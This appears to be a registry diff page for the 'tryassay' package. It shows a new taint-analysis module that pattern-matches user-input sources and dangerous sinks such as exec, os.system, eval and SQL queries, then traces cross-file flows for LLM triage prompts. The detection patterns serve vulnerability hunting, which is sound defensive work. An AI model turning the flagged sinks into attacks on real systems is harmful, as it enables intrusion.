tryassay 0.33.0 → 0.33.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/cli.js +2 -0
- package/dist/cli.js.map +1 -1
- package/dist/commands/hunt.d.ts +2 -0
- package/dist/commands/hunt.js +58 -7
- package/dist/commands/hunt.js.map +1 -1
- package/dist/hunt/__tests__/finding-to-template.test.d.ts +1 -0
- package/dist/hunt/__tests__/finding-to-template.test.js +213 -0
- package/dist/hunt/__tests__/finding-to-template.test.js.map +1 -0
- package/dist/hunt/__tests__/parse-utils.test.js +28 -1
- package/dist/hunt/__tests__/parse-utils.test.js.map +1 -1
- package/dist/hunt/__tests__/taint-analysis.test.d.ts +1 -0
- package/dist/hunt/__tests__/taint-analysis.test.js +556 -0
- package/dist/hunt/__tests__/taint-analysis.test.js.map +1 -0
- package/dist/hunt/__tests__/templates.test.js +2 -2
- package/dist/hunt/__tests__/templates.test.js.map +1 -1
- package/dist/hunt/deep-dive.d.ts +2 -2
- package/dist/hunt/deep-dive.js +4 -4
- package/dist/hunt/deep-dive.js.map +1 -1
- package/dist/hunt/discovery.js +2 -2
- package/dist/hunt/discovery.js.map +1 -1
- package/dist/hunt/finding-to-template.d.ts +47 -0
- package/dist/hunt/finding-to-template.js +288 -0
- package/dist/hunt/finding-to-template.js.map +1 -0
- package/dist/hunt/orchestrator.d.ts +3 -0
- package/dist/hunt/orchestrator.js +20 -5
- package/dist/hunt/orchestrator.js.map +1 -1
- package/dist/hunt/parse-utils.d.ts +6 -0
- package/dist/hunt/parse-utils.js +28 -1
- package/dist/hunt/parse-utils.js.map +1 -1
- package/dist/hunt/taint-analysis.d.ts +49 -0
- package/dist/hunt/taint-analysis.js +429 -0
- package/dist/hunt/taint-analysis.js.map +1 -0
- package/dist/hunt/templates/csv-injection.d.ts +2 -0
- package/dist/hunt/templates/csv-injection.js +148 -0
- package/dist/hunt/templates/csv-injection.js.map +1 -0
- package/dist/hunt/templates/django-misconfig.d.ts +2 -0
- package/dist/hunt/templates/django-misconfig.js +172 -0
- package/dist/hunt/templates/django-misconfig.js.map +1 -0
- package/dist/hunt/templates/express-misconfig.d.ts +2 -0
- package/dist/hunt/templates/express-misconfig.js +156 -0
- package/dist/hunt/templates/express-misconfig.js.map +1 -0
- package/dist/hunt/templates/file-upload.d.ts +2 -0
- package/dist/hunt/templates/file-upload.js +131 -0
- package/dist/hunt/templates/file-upload.js.map +1 -0
- package/dist/hunt/templates/graphql-abuse.d.ts +2 -0
- package/dist/hunt/templates/graphql-abuse.js +161 -0
- package/dist/hunt/templates/graphql-abuse.js.map +1 -0
- package/dist/hunt/templates/hardcoded-credentials.d.ts +2 -0
- package/dist/hunt/templates/hardcoded-credentials.js +109 -0
- package/dist/hunt/templates/hardcoded-credentials.js.map +1 -0
- package/dist/hunt/templates/idor.d.ts +2 -0
- package/dist/hunt/templates/idor.js +102 -0
- package/dist/hunt/templates/idor.js.map +1 -0
- package/dist/hunt/templates/index.d.ts +2 -2
- package/dist/hunt/templates/index.js +38 -5
- package/dist/hunt/templates/index.js.map +1 -1
- package/dist/hunt/templates/insecure-deserialization.d.ts +2 -0
- package/dist/hunt/templates/insecure-deserialization.js +131 -0
- package/dist/hunt/templates/insecure-deserialization.js.map +1 -0
- package/dist/hunt/templates/mass-assignment.d.ts +2 -0
- package/dist/hunt/templates/mass-assignment.js +101 -0
- package/dist/hunt/templates/mass-assignment.js.map +1 -0
- package/dist/hunt/templates/nextjs-misconfig.d.ts +2 -0
- package/dist/hunt/templates/nextjs-misconfig.js +127 -0
- package/dist/hunt/templates/nextjs-misconfig.js.map +1 -0
- package/dist/hunt/templates/postmessage.d.ts +2 -0
- package/dist/hunt/templates/postmessage.js +180 -0
- package/dist/hunt/templates/postmessage.js.map +1 -0
- package/dist/hunt/templates/race-condition.d.ts +2 -0
- package/dist/hunt/templates/race-condition.js +138 -0
- package/dist/hunt/templates/race-condition.js.map +1 -0
- package/dist/hunt/templates/spring-misconfig.d.ts +2 -0
- package/dist/hunt/templates/spring-misconfig.js +177 -0
- package/dist/hunt/templates/spring-misconfig.js.map +1 -0
- package/dist/hunt/templates/xxe.d.ts +2 -0
- package/dist/hunt/templates/xxe.js +187 -0
- package/dist/hunt/templates/xxe.js.map +1 -0
- package/dist/hunt/triage.d.ts +2 -2
- package/dist/hunt/triage.js +4 -4
- package/dist/hunt/triage.js.map +1 -1
- package/package.json +1 -1
|
@@ -0,0 +1,429 @@
|
|
|
1
|
+
import { basename, dirname, resolve } from 'path';
|
|
2
|
+
const SOURCE_PATTERNS = [
|
|
3
|
+
// JS/TS — Express / generic
|
|
4
|
+
{ re: /\breq(?:uest)?\.params\b/gi, type: 'request-param' },
|
|
5
|
+
{ re: /\breq(?:uest)?\.query\b/gi, type: 'query-string' },
|
|
6
|
+
{ re: /\breq(?:uest)?\.body\b/gi, type: 'request-body' },
|
|
7
|
+
{ re: /\breq(?:uest)?\.headers\b/gi, type: 'request-param' },
|
|
8
|
+
{ re: /\breq(?:uest)?\.cookies\b/gi, type: 'request-param' },
|
|
9
|
+
// Koa
|
|
10
|
+
{ re: /\bctx\.params\b/gi, type: 'request-param' },
|
|
11
|
+
{ re: /\bctx\.query\b/gi, type: 'query-string' },
|
|
12
|
+
{ re: /\bctx\.request\.body\b/gi, type: 'request-body' },
|
|
13
|
+
// Lambda
|
|
14
|
+
{ re: /\bevent\.body\b/gi, type: 'request-body' },
|
|
15
|
+
{ re: /\bevent\.queryStringParameters\b/gi, type: 'query-string' },
|
|
16
|
+
// React Router hooks
|
|
17
|
+
{ re: /\buseSearchParams\s*\(\)/gi, type: 'query-string' },
|
|
18
|
+
{ re: /\buseParams\s*\(\)/gi, type: 'url-param' },
|
|
19
|
+
// FormData
|
|
20
|
+
{ re: /\bformData\.get\s*\(/gi, type: 'user-input' },
|
|
21
|
+
{ re: /\bnew\s+FormData\s*\(/gi, type: 'user-input' },
|
|
22
|
+
// URL parsing
|
|
23
|
+
{ re: /new\s+URL\s*\([^)]*\)\.searchParams/gi, type: 'query-string' },
|
|
24
|
+
// File upload
|
|
25
|
+
{ re: /\breq(?:uest)?\.files?\b/gi, type: 'file-upload' },
|
|
26
|
+
{ re: /\bmulter\b/gi, type: 'file-upload' },
|
|
27
|
+
// WebSocket
|
|
28
|
+
{ re: /\bws\.on\s*\(\s*['"]message['"]/gi, type: 'websocket' },
|
|
29
|
+
{ re: /\bsocket\.on\s*\(\s*['"]message['"]/gi, type: 'websocket' },
|
|
30
|
+
// Environment variables
|
|
31
|
+
{ re: /\bprocess\.env\b/gi, type: 'env-var' },
|
|
32
|
+
// Python — Django
|
|
33
|
+
{ re: /\brequest\.GET\b/g, type: 'query-string' },
|
|
34
|
+
{ re: /\brequest\.POST\b/g, type: 'request-body' },
|
|
35
|
+
{ re: /\brequest\.FILES\b/g, type: 'file-upload' },
|
|
36
|
+
{ re: /\brequest\.data\b/gi, type: 'request-body' },
|
|
37
|
+
// Python — Flask
|
|
38
|
+
{ re: /\brequest\.args\b/g, type: 'query-string' },
|
|
39
|
+
{ re: /\brequest\.form\b/g, type: 'request-body' },
|
|
40
|
+
{ re: /\brequest\.json\b/g, type: 'request-body' },
|
|
41
|
+
// Python — DRF
|
|
42
|
+
{ re: /\bself\.request\.query_params\b/g, type: 'query-string' },
|
|
43
|
+
{ re: /\bself\.request\.data\b/g, type: 'request-body' },
|
|
44
|
+
// Java
|
|
45
|
+
{ re: /@RequestParam\b/g, type: 'request-param' },
|
|
46
|
+
{ re: /@PathVariable\b/g, type: 'url-param' },
|
|
47
|
+
{ re: /@RequestBody\b/g, type: 'request-body' },
|
|
48
|
+
{ re: /\brequest\.getParameter\s*\(/gi, type: 'request-param' },
|
|
49
|
+
{ re: /\brequest\.getHeader\s*\(/gi, type: 'request-param' },
|
|
50
|
+
];
|
|
51
|
+
const SINK_PATTERNS = [
|
|
52
|
+
// JS/TS — SQL
|
|
53
|
+
{ re: /\b(?:db|pool|connection|client|knex|prisma)\.\s*(?:query|execute|raw)\s*\(/gi, type: 'sql-query' },
|
|
54
|
+
{ re: /\b(?:db|pool|connection|client)\.\s*(?:\$queryRaw|queryRaw)\s*\(/gi, type: 'sql-query' },
|
|
55
|
+
// JS/TS — command exec
|
|
56
|
+
{ re: /\b(?:exec|execSync)\s*\(/gi, type: 'command-exec' },
|
|
57
|
+
{ re: /\b(?:spawn|execFile|spawnSync)\s*\(/gi, type: 'command-exec' },
|
|
58
|
+
// JS/TS — file ops
|
|
59
|
+
{ re: /\bfs\.\s*(?:readFile|writeFile|unlink|readdir|mkdir|rmdir|rename|copyFile)\s*(?:Sync)?\s*\(/gi, type: 'file-op' },
|
|
60
|
+
// JS/TS — redirect
|
|
61
|
+
{ re: /\b(?:res|response)\.redirect\s*\(/gi, type: 'redirect' },
|
|
62
|
+
{ re: /\blocation\.href\s*=/gi, type: 'redirect' },
|
|
63
|
+
// JS/TS — response write
|
|
64
|
+
{ re: /\b(?:res|response)\.(?:send|write|json|end)\s*\(/gi, type: 'response-write' },
|
|
65
|
+
// JS/TS — XSS
|
|
66
|
+
{ re: /\binnerHTML\s*=/gi, type: 'inner-html' },
|
|
67
|
+
{ re: /\bdangerouslySetInnerHTML\b/gi, type: 'inner-html' },
|
|
68
|
+
// JS/TS — eval
|
|
69
|
+
{ re: /\beval\s*\(/gi, type: 'eval' },
|
|
70
|
+
{ re: /\bnew\s+Function\s*\(/gi, type: 'eval' },
|
|
71
|
+
// Python — SQL
|
|
72
|
+
{ re: /\b(?:cursor|connection)\.execute\s*\(/gi, type: 'sql-query' },
|
|
73
|
+
// Python — command exec
|
|
74
|
+
{ re: /\bos\.system\s*\(/gi, type: 'command-exec' },
|
|
75
|
+
{ re: /\bsubprocess\.(?:run|Popen|call|check_output)\s*\(/gi, type: 'command-exec' },
|
|
76
|
+
// Python — file ops
|
|
77
|
+
{ re: /\bopen\s*\([^)]*['"]\s*[rwa]/gi, type: 'file-op' },
|
|
78
|
+
// Python — redirect
|
|
79
|
+
{ re: /\bredirect\s*\(/gi, type: 'redirect' },
|
|
80
|
+
{ re: /\bHttpResponseRedirect\s*\(/gi, type: 'redirect' },
|
|
81
|
+
// Python — template render
|
|
82
|
+
{ re: /\bmark_safe\s*\(/gi, type: 'template-render' },
|
|
83
|
+
{ re: /\|\s*safe\b/gi, type: 'template-render' },
|
|
84
|
+
// Java — SQL
|
|
85
|
+
{ re: /\bstatement\.execute(?:Query|Update)?\s*\(/gi, type: 'sql-query' },
|
|
86
|
+
// Java — command exec
|
|
87
|
+
{ re: /\bRuntime\.getRuntime\(\)\.exec\s*\(/gi, type: 'command-exec' },
|
|
88
|
+
// Java — redirect
|
|
89
|
+
{ re: /\bresponse\.sendRedirect\s*\(/gi, type: 'redirect' },
|
|
90
|
+
];
|
|
91
|
+
// ---------------------------------------------------------------------------
|
|
92
|
+
// Import graph building
|
|
93
|
+
// ---------------------------------------------------------------------------
|
|
94
|
+
/**
|
|
95
|
+
* Build a graph of import edges between discovered files.
|
|
96
|
+
* Resolves relative imports (./foo, ../bar) to discovered file paths.
|
|
97
|
+
*/
|
|
98
|
+
export function buildImportGraph(files) {
|
|
99
|
+
// Build a lookup: relativePath -> DiscoveredFile
|
|
100
|
+
const byRelPath = new Map();
|
|
101
|
+
for (const f of files) {
|
|
102
|
+
byRelPath.set(f.relativePath, f);
|
|
103
|
+
// Also index without extension for resolution
|
|
104
|
+
const noExt = stripExtension(f.relativePath);
|
|
105
|
+
if (!byRelPath.has(noExt)) {
|
|
106
|
+
byRelPath.set(noExt, f);
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
const edges = [];
|
|
110
|
+
for (const file of files) {
|
|
111
|
+
for (const imp of file.imports) {
|
|
112
|
+
const resolved = resolveImport(file.relativePath, imp, byRelPath);
|
|
113
|
+
if (resolved) {
|
|
114
|
+
const symbols = extractImportedSymbols(file.content, imp);
|
|
115
|
+
edges.push({
|
|
116
|
+
from: file.relativePath,
|
|
117
|
+
to: resolved.relativePath,
|
|
118
|
+
symbols,
|
|
119
|
+
});
|
|
120
|
+
}
|
|
121
|
+
}
|
|
122
|
+
}
|
|
123
|
+
return edges;
|
|
124
|
+
}
|
|
125
|
+
function stripExtension(p) {
|
|
126
|
+
return p.replace(/\.\w+$/, '');
|
|
127
|
+
}
|
|
128
|
+
/**
|
|
129
|
+
* Resolve an import specifier to a discovered file.
|
|
130
|
+
* Handles relative paths (./foo, ../utils/bar) and
|
|
131
|
+
* tries common extensions (.ts, .js, .tsx, .jsx, /index.ts, etc.).
|
|
132
|
+
*/
|
|
133
|
+
function resolveImport(importerRelPath, importSpec, fileMap) {
|
|
134
|
+
// Only resolve relative imports
|
|
135
|
+
if (!importSpec.startsWith('.')) {
|
|
136
|
+
// For bare specifiers, try matching by filename
|
|
137
|
+
const specBase = importSpec.split('/').pop() || importSpec;
|
|
138
|
+
for (const [relPath, f] of fileMap) {
|
|
139
|
+
const fileBase = basename(relPath).replace(/\.\w+$/, '');
|
|
140
|
+
if (fileBase === specBase && relPath === f.relativePath) {
|
|
141
|
+
return f;
|
|
142
|
+
}
|
|
143
|
+
}
|
|
144
|
+
return undefined;
|
|
145
|
+
}
|
|
146
|
+
const importerDir = dirname(importerRelPath);
|
|
147
|
+
const resolved = normalizeSlashes(resolve('/', importerDir, importSpec)).slice(1); // remove leading /
|
|
148
|
+
// Try exact match first
|
|
149
|
+
if (fileMap.has(resolved) && isRealFile(resolved, fileMap))
|
|
150
|
+
return fileMap.get(resolved);
|
|
151
|
+
// Try common extensions
|
|
152
|
+
const extensions = ['.ts', '.tsx', '.js', '.jsx', '.py', '.java', '.go', '.rs', '.rb', '.php'];
|
|
153
|
+
for (const ext of extensions) {
|
|
154
|
+
const withExt = resolved + ext;
|
|
155
|
+
if (fileMap.has(withExt) && isRealFile(withExt, fileMap))
|
|
156
|
+
return fileMap.get(withExt);
|
|
157
|
+
}
|
|
158
|
+
// Try /index variants
|
|
159
|
+
for (const ext of extensions) {
|
|
160
|
+
const indexPath = resolved + '/index' + ext;
|
|
161
|
+
if (fileMap.has(indexPath) && isRealFile(indexPath, fileMap))
|
|
162
|
+
return fileMap.get(indexPath);
|
|
163
|
+
}
|
|
164
|
+
// Try without .js extension (common in TS imports with .js specifiers)
|
|
165
|
+
const noJs = resolved.replace(/\.js$/, '');
|
|
166
|
+
if (noJs !== resolved) {
|
|
167
|
+
if (fileMap.has(noJs) && isRealFile(noJs, fileMap))
|
|
168
|
+
return fileMap.get(noJs);
|
|
169
|
+
for (const ext of extensions) {
|
|
170
|
+
const candidate = noJs + ext;
|
|
171
|
+
if (fileMap.has(candidate) && isRealFile(candidate, fileMap))
|
|
172
|
+
return fileMap.get(candidate);
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
return undefined;
|
|
176
|
+
}
|
|
177
|
+
/** Check that a fileMap key corresponds to the file's actual relativePath (not a stripped-extension alias) */
|
|
178
|
+
function isRealFile(key, fileMap) {
|
|
179
|
+
const f = fileMap.get(key);
|
|
180
|
+
return f !== undefined && f.relativePath === key;
|
|
181
|
+
}
|
|
182
|
+
function normalizeSlashes(p) {
|
|
183
|
+
return p.replace(/\\/g, '/');
|
|
184
|
+
}
|
|
185
|
+
/**
|
|
186
|
+
* Extract the named symbols from an import statement.
|
|
187
|
+
* e.g. `import { foo, bar } from './x'` -> ['foo', 'bar']
|
|
188
|
+
* `import db from './x'` -> ['db']
|
|
189
|
+
*/
|
|
190
|
+
function extractImportedSymbols(content, importSpec) {
|
|
191
|
+
const escaped = importSpec.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
|
|
192
|
+
// Match: import { a, b } from 'spec' OR import X from 'spec' OR import * as X from 'spec'
|
|
193
|
+
const re = new RegExp(`import\\s+(?:\\{([^}]+)\\}|\\*\\s+as\\s+(\\w+)|(\\w+))\\s+from\\s+['"]${escaped}['"]`, 'g');
|
|
194
|
+
const symbols = [];
|
|
195
|
+
let match;
|
|
196
|
+
while ((match = re.exec(content)) !== null) {
|
|
197
|
+
if (match[1]) {
|
|
198
|
+
// Named imports: { a, b as c }
|
|
199
|
+
for (const part of match[1].split(',')) {
|
|
200
|
+
const trimmed = part.trim();
|
|
201
|
+
if (!trimmed)
|
|
202
|
+
continue;
|
|
203
|
+
// Handle `x as y` — take the local name
|
|
204
|
+
const asMatch = trimmed.match(/(\w+)\s+as\s+(\w+)/);
|
|
205
|
+
symbols.push(asMatch ? asMatch[2] : trimmed);
|
|
206
|
+
}
|
|
207
|
+
}
|
|
208
|
+
else if (match[2]) {
|
|
209
|
+
// Namespace import: * as X
|
|
210
|
+
symbols.push(match[2]);
|
|
211
|
+
}
|
|
212
|
+
else if (match[3]) {
|
|
213
|
+
// Default import
|
|
214
|
+
symbols.push(match[3]);
|
|
215
|
+
}
|
|
216
|
+
}
|
|
217
|
+
// Also check require patterns
|
|
218
|
+
const reqRe = new RegExp(`(?:const|let|var)\\s+(?:\\{([^}]+)\\}|(\\w+))\\s*=\\s*require\\s*\\(\\s*['"]${escaped}['"]\\s*\\)`, 'g');
|
|
219
|
+
while ((match = reqRe.exec(content)) !== null) {
|
|
220
|
+
if (match[1]) {
|
|
221
|
+
for (const part of match[1].split(',')) {
|
|
222
|
+
const trimmed = part.trim();
|
|
223
|
+
if (trimmed)
|
|
224
|
+
symbols.push(trimmed);
|
|
225
|
+
}
|
|
226
|
+
}
|
|
227
|
+
else if (match[2]) {
|
|
228
|
+
symbols.push(match[2]);
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
return symbols;
|
|
232
|
+
}
|
|
233
|
+
// ---------------------------------------------------------------------------
|
|
234
|
+
// Source & sink detection
|
|
235
|
+
// ---------------------------------------------------------------------------
|
|
236
|
+
export function findSources(files) {
|
|
237
|
+
const sources = [];
|
|
238
|
+
for (const file of files) {
|
|
239
|
+
const lines = file.content.split('\n');
|
|
240
|
+
for (let i = 0; i < lines.length; i++) {
|
|
241
|
+
const line = lines[i];
|
|
242
|
+
for (const pattern of SOURCE_PATTERNS) {
|
|
243
|
+
pattern.re.lastIndex = 0;
|
|
244
|
+
let m;
|
|
245
|
+
while ((m = pattern.re.exec(line)) !== null) {
|
|
246
|
+
sources.push({
|
|
247
|
+
file: file.relativePath,
|
|
248
|
+
line: i + 1,
|
|
249
|
+
type: pattern.type,
|
|
250
|
+
identifier: m[0].trim(),
|
|
251
|
+
});
|
|
252
|
+
}
|
|
253
|
+
}
|
|
254
|
+
}
|
|
255
|
+
}
|
|
256
|
+
return sources;
|
|
257
|
+
}
|
|
258
|
+
export function findSinks(files) {
|
|
259
|
+
const sinks = [];
|
|
260
|
+
for (const file of files) {
|
|
261
|
+
const lines = file.content.split('\n');
|
|
262
|
+
for (let i = 0; i < lines.length; i++) {
|
|
263
|
+
const line = lines[i];
|
|
264
|
+
for (const pattern of SINK_PATTERNS) {
|
|
265
|
+
pattern.re.lastIndex = 0;
|
|
266
|
+
let m;
|
|
267
|
+
while ((m = pattern.re.exec(line)) !== null) {
|
|
268
|
+
sinks.push({
|
|
269
|
+
file: file.relativePath,
|
|
270
|
+
line: i + 1,
|
|
271
|
+
type: pattern.type,
|
|
272
|
+
identifier: m[0].trim(),
|
|
273
|
+
});
|
|
274
|
+
}
|
|
275
|
+
}
|
|
276
|
+
}
|
|
277
|
+
}
|
|
278
|
+
return sinks;
|
|
279
|
+
}
|
|
280
|
+
// ---------------------------------------------------------------------------
|
|
281
|
+
// Taint context building
|
|
282
|
+
// ---------------------------------------------------------------------------
|
|
283
|
+
/**
|
|
284
|
+
* Build a TaintContext for a target file, showing:
|
|
285
|
+
* - Sources and sinks within the file
|
|
286
|
+
* - Related files that import from or are imported by the target
|
|
287
|
+
* - Data flow paths tracing sources through imports to sinks
|
|
288
|
+
*/
|
|
289
|
+
export function buildTaintContext(targetFile, allFiles, importGraph, sources, sinks) {
|
|
290
|
+
const filePath = targetFile.relativePath;
|
|
291
|
+
// Sources and sinks in the target file
|
|
292
|
+
const localSources = sources.filter(s => s.file === filePath);
|
|
293
|
+
const localSinks = sinks.filter(s => s.file === filePath);
|
|
294
|
+
// Files that import the target (dependents)
|
|
295
|
+
const importedBy = importGraph.filter(e => e.to === filePath);
|
|
296
|
+
// Files that the target imports (dependencies)
|
|
297
|
+
const importsFrom = importGraph.filter(e => e.from === filePath);
|
|
298
|
+
// Collect related files: upstream sources that flow into this file's sinks
|
|
299
|
+
const relatedFiles = [];
|
|
300
|
+
const dataFlowPaths = [];
|
|
301
|
+
if (localSinks.length > 0) {
|
|
302
|
+
// Trace backwards: who imports this file or is imported by this file?
|
|
303
|
+
// Look for source files in the dependency chain
|
|
304
|
+
const upstreamFiles = new Set();
|
|
305
|
+
// Direct imports: if target imports file X, and X has sources -> data may flow in
|
|
306
|
+
for (const edge of importsFrom) {
|
|
307
|
+
upstreamFiles.add(edge.to);
|
|
308
|
+
}
|
|
309
|
+
// Files that import target: they may pass user input as arguments
|
|
310
|
+
for (const edge of importedBy) {
|
|
311
|
+
upstreamFiles.add(edge.from);
|
|
312
|
+
}
|
|
313
|
+
// Also check 2nd-degree: files that import the files that import target
|
|
314
|
+
for (const edge of importedBy) {
|
|
315
|
+
const grandparentEdges = importGraph.filter(e => e.to === edge.from && e.from !== filePath);
|
|
316
|
+
for (const e2 of grandparentEdges) {
|
|
317
|
+
upstreamFiles.add(e2.from);
|
|
318
|
+
}
|
|
319
|
+
}
|
|
320
|
+
// For each upstream file, check if it has sources
|
|
321
|
+
for (const upPath of upstreamFiles) {
|
|
322
|
+
const upSources = sources.filter(s => s.file === upPath);
|
|
323
|
+
if (upSources.length === 0)
|
|
324
|
+
continue;
|
|
325
|
+
const upFile = allFiles.find(f => f.relativePath === upPath);
|
|
326
|
+
if (!upFile)
|
|
327
|
+
continue;
|
|
328
|
+
// Find the connecting edge(s)
|
|
329
|
+
const directEdge = importsFrom.find(e => e.to === upPath);
|
|
330
|
+
const reverseEdge = importedBy.find(e => e.from === upPath);
|
|
331
|
+
const relevance = directEdge
|
|
332
|
+
? `imports ${directEdge.symbols.join(', ') || 'module'} from this file`
|
|
333
|
+
: reverseEdge
|
|
334
|
+
? `calls ${reverseEdge.symbols.join(', ') || 'exports'} from target`
|
|
335
|
+
: 'in dependency chain';
|
|
336
|
+
// Build a snippet showing the source lines
|
|
337
|
+
const sourceSnippet = upSources
|
|
338
|
+
.slice(0, 5)
|
|
339
|
+
.map(s => {
|
|
340
|
+
const srcLine = upFile.content.split('\n')[s.line ? s.line - 1 : 0];
|
|
341
|
+
return `L${s.line}: ${srcLine?.trim() || s.identifier}`;
|
|
342
|
+
})
|
|
343
|
+
.join('\n');
|
|
344
|
+
relatedFiles.push({
|
|
345
|
+
path: upPath,
|
|
346
|
+
relevance,
|
|
347
|
+
snippet: sourceSnippet,
|
|
348
|
+
});
|
|
349
|
+
// Build data flow path descriptions
|
|
350
|
+
for (const src of upSources.slice(0, 3)) {
|
|
351
|
+
for (const sink of localSinks.slice(0, 3)) {
|
|
352
|
+
const throughSymbols = directEdge?.symbols.join(', ') || reverseEdge?.symbols.join(', ') || '?';
|
|
353
|
+
dataFlowPaths.push(`${src.type} in ${upPath}:${src.line} → ${throughSymbols} → ${sink.type} in ${filePath}:${sink.line}`);
|
|
354
|
+
}
|
|
355
|
+
}
|
|
356
|
+
}
|
|
357
|
+
}
|
|
358
|
+
// Also check if this file has sources and exports them (other files' sinks may consume)
|
|
359
|
+
if (localSources.length > 0) {
|
|
360
|
+
for (const edge of importedBy) {
|
|
361
|
+
const downSinks = sinks.filter(s => s.file === edge.from);
|
|
362
|
+
if (downSinks.length === 0)
|
|
363
|
+
continue;
|
|
364
|
+
const downFile = allFiles.find(f => f.relativePath === edge.from);
|
|
365
|
+
if (!downFile)
|
|
366
|
+
continue;
|
|
367
|
+
const sinkSnippet = downSinks
|
|
368
|
+
.slice(0, 5)
|
|
369
|
+
.map(s => {
|
|
370
|
+
const sinkLine = downFile.content.split('\n')[s.line ? s.line - 1 : 0];
|
|
371
|
+
return `L${s.line}: ${sinkLine?.trim() || s.identifier}`;
|
|
372
|
+
})
|
|
373
|
+
.join('\n');
|
|
374
|
+
// Avoid duplicate entries
|
|
375
|
+
if (!relatedFiles.some(rf => rf.path === edge.from)) {
|
|
376
|
+
relatedFiles.push({
|
|
377
|
+
path: edge.from,
|
|
378
|
+
relevance: `imports ${edge.symbols.join(', ') || 'exports'} and has sinks`,
|
|
379
|
+
snippet: sinkSnippet,
|
|
380
|
+
});
|
|
381
|
+
}
|
|
382
|
+
for (const src of localSources.slice(0, 3)) {
|
|
383
|
+
for (const sink of downSinks.slice(0, 3)) {
|
|
384
|
+
dataFlowPaths.push(`${src.type} in ${filePath}:${src.line} → ${edge.symbols.join(', ') || '?'} → ${sink.type} in ${edge.from}:${sink.line}`);
|
|
385
|
+
}
|
|
386
|
+
}
|
|
387
|
+
}
|
|
388
|
+
}
|
|
389
|
+
return {
|
|
390
|
+
file: filePath,
|
|
391
|
+
sources: localSources,
|
|
392
|
+
sinks: localSinks,
|
|
393
|
+
dataFlowPaths,
|
|
394
|
+
relatedFiles,
|
|
395
|
+
};
|
|
396
|
+
}
|
|
397
|
+
// ---------------------------------------------------------------------------
|
|
398
|
+
// Formatting for LLM prompt injection
|
|
399
|
+
// ---------------------------------------------------------------------------
|
|
400
|
+
/**
|
|
401
|
+
* Format a TaintContext into a human-readable string for injection into
|
|
402
|
+
* triage/deep-dive LLM prompts.
|
|
403
|
+
* Returns empty string if there's no cross-file context worth showing.
|
|
404
|
+
*/
|
|
405
|
+
export function formatTaintContext(ctx) {
|
|
406
|
+
// Only produce output if there are cross-file data flows
|
|
407
|
+
if (ctx.relatedFiles.length === 0 && ctx.dataFlowPaths.length === 0) {
|
|
408
|
+
return '';
|
|
409
|
+
}
|
|
410
|
+
const sections = [];
|
|
411
|
+
if (ctx.sources.length > 0) {
|
|
412
|
+
const sourceLines = ctx.sources.slice(0, 10).map(s => ` - ${s.type} at L${s.line}: ${s.identifier}`);
|
|
413
|
+
sections.push(`SOURCES (user-controlled data entry points in this file):\n${sourceLines.join('\n')}`);
|
|
414
|
+
}
|
|
415
|
+
if (ctx.sinks.length > 0) {
|
|
416
|
+
const sinkLines = ctx.sinks.slice(0, 10).map(s => ` - ${s.type} at L${s.line}: ${s.identifier}`);
|
|
417
|
+
sections.push(`SINKS (dangerous operations in this file):\n${sinkLines.join('\n')}`);
|
|
418
|
+
}
|
|
419
|
+
if (ctx.dataFlowPaths.length > 0) {
|
|
420
|
+
const flowLines = ctx.dataFlowPaths.slice(0, 10).map(f => ` - ${f}`);
|
|
421
|
+
sections.push(`DATA FLOW PATHS (how user input may reach dangerous operations):\n${flowLines.join('\n')}`);
|
|
422
|
+
}
|
|
423
|
+
if (ctx.relatedFiles.length > 0) {
|
|
424
|
+
const relatedSections = ctx.relatedFiles.slice(0, 5).map(rf => ` FILE: ${rf.path}\n RELEVANCE: ${rf.relevance}\n CODE:\n${rf.snippet.split('\n').map(l => ' ' + l).join('\n')}`);
|
|
425
|
+
sections.push(`RELATED FILES (cross-file data flow context):\n${relatedSections.join('\n\n')}`);
|
|
426
|
+
}
|
|
427
|
+
return sections.join('\n\n');
|
|
428
|
+
}
|
|
429
|
+
//# sourceMappingURL=taint-analysis.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"taint-analysis.js","sourceRoot":"","sources":["../../src/hunt/taint-analysis.ts"],"names":[],"mappings":"AACA,OAAO,EAAE,QAAQ,EAAE,OAAO,EAAY,OAAO,EAAE,MAAM,MAAM,CAAC;AA2D5D,MAAM,eAAe,GAAuB;IAC1C,4BAA4B;IAC5B,EAAE,EAAE,EAAE,4BAA4B,EAAE,IAAI,EAAE,eAAe,EAAE;IAC3D,EAAE,EAAE,EAAE,2BAA2B,EAAE,IAAI,EAAE,cAAc,EAAE;IACzD,EAAE,EAAE,EAAE,0BAA0B,EAAE,IAAI,EAAE,cAAc,EAAE;IACxD,EAAE,EAAE,EAAE,6BAA6B,EAAE,IAAI,EAAE,eAAe,EAAE;IAC5D,EAAE,EAAE,EAAE,6BAA6B,EAAE,IAAI,EAAE,eAAe,EAAE;IAC5D,MAAM;IACN,EAAE,EAAE,EAAE,mBAAmB,EAAE,IAAI,EAAE,eAAe,EAAE;IAClD,EAAE,EAAE,EAAE,kBAAkB,EAAE,IAAI,EAAE,cAAc,EAAE;IAChD,EAAE,EAAE,EAAE,0BAA0B,EAAE,IAAI,EAAE,cAAc,EAAE;IACxD,SAAS;IACT,EAAE,EAAE,EAAE,mBAAmB,EAAE,IAAI,EAAE,cAAc,EAAE;IACjD,EAAE,EAAE,EAAE,oCAAoC,EAAE,IAAI,EAAE,cAAc,EAAE;IAClE,qBAAqB;IACrB,EAAE,EAAE,EAAE,4BAA4B,EAAE,IAAI,EAAE,cAAc,EAAE;IAC1D,EAAE,EAAE,EAAE,sBAAsB,EAAE,IAAI,EAAE,WAAW,EAAE;IACjD,WAAW;IACX,EAAE,EAAE,EAAE,wBAAwB,EAAE,IAAI,EAAE,YAAY,EAAE;IACpD,EAAE,EAAE,EAAE,yBAAyB,EAAE,IAAI,EAAE,YAAY,EAAE;IACrD,cAAc;IACd,EAAE,EAAE,EAAE,uCAAuC,EAAE,IAAI,EAAE,cAAc,EAAE;IACrE,cAAc;IACd,EAAE,EAAE,EAAE,4BAA4B,EAAE,IAAI,EAAE,aAAa,EAAE;IACzD,EAAE,EAAE,EAAE,cAAc,EAAE,IAAI,EAAE,aAAa,EAAE;IAC3C,YAAY;IACZ,EAAE,EAAE,EAAE,mCAAmC,EAAE,IAAI,EAAE,WAAW,EAAE;